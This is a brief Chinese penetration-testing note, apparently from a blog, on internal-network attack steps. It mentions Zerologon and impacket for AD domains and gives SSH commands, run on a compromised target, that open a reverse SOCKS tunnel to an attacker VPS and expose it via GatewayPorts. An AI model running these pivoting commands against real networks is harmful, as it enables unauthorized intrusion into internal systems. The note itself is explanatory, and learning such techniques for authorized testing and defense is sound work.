OPSEC
1、gogo扫描
./gogo_darwin_amd64 -i ip -ev -p 1-20000 -t 100

内网渗透操作:
横向移动 维权 (计划任务)
权限提升?
在AD域内:浏览器密码很大程度上就是域密码
linux怎么找域
1.LDAP认证(389、636端口)
2.知道有域怎么打: a.有域凭据 impacket adexplorer 工具 b. 无凭据zerologon
ssh隧道反向SOCKS代理
通常会使用-R参数来开启远程转发,比如:
ssh -NR 1080:192.168.1.10:8000 root@39.39.39.39
把本机或者本机所在内网的某个端口转发到VPS的1080。
这里如果把 -R 参数之指定一个远程端口,就会让本机成为一个SOCKS代理服务器,比如:
ssh -NR 1080 root@39.39.39.39
这条命令默认会在VPS的127.0.0.1监听1080端口,通过1080即可访问目标192.168.1.10的内网。
设置监听到0.0.0.0
监听到127.0.0.1我们的攻击机不便于连接,有两种方法可以让他直接监听到0.0.0.0,
- 端口转发,使用SSH的-L,本地端口转发,或是其他端口转发工具,将1081端口的请求转发到1080
ssh -fCNL *:1081:localhost:1080 localhost
- 更改
sshd_config文件的GatewayPorts配置。
GatewayPorts 配置选项用于控制 SSH 隧道(通常是端口转发)的行为,它决定了远程端口转发是否对除了本地主机之外的其他主机可见
no:这是默认值。当设置为no时,远程端口转发只会监听本地接口(localhost 或 127.0.0.1),这意味着只有在服务器本机上才能访问转发的端口。yes:当设置为yes时,远程端口转发会监听所有接口,这意味着转发的端口可以被服务器上的任何接口上的任何主机访问,包括其他网络主机。这允许从服务器外部的主机连接到转发的端口。clientspecified:这是一个中间选项,它允许客户端在建立端口转发时指定监听地址。如果客户端指定了一个远程地址,那么端口转发将监听该指定的地址;如果客户端没有指定,那么就会回退到仅监听本地地址。
更改为yes或者clientspecified即可
其他准备
生成SSH密钥
ssh-keygen
cp id_rsa.pub authorized_keys
落地到目标机器的ssh私钥,因为windows权限问题可能会被服务端拒绝连接,需要修改权限
Icacls key.txt /Inheritance:r
Icacls key.txt /Grant:r "%Username%":"(R)"
最终,在目标机器执行下面命令即可
ssh -i id_rsa -p 22 -qngfNTR 6766 ubuntu@39.39.39.39 -o StrictHostKeyChecking=no
优化:将其写入配置文件直接执行:ssh -N -f -o StrictHostKeyChecking=no -F ~/ssconf D
1558

被折叠的 条评论
为什么被折叠?



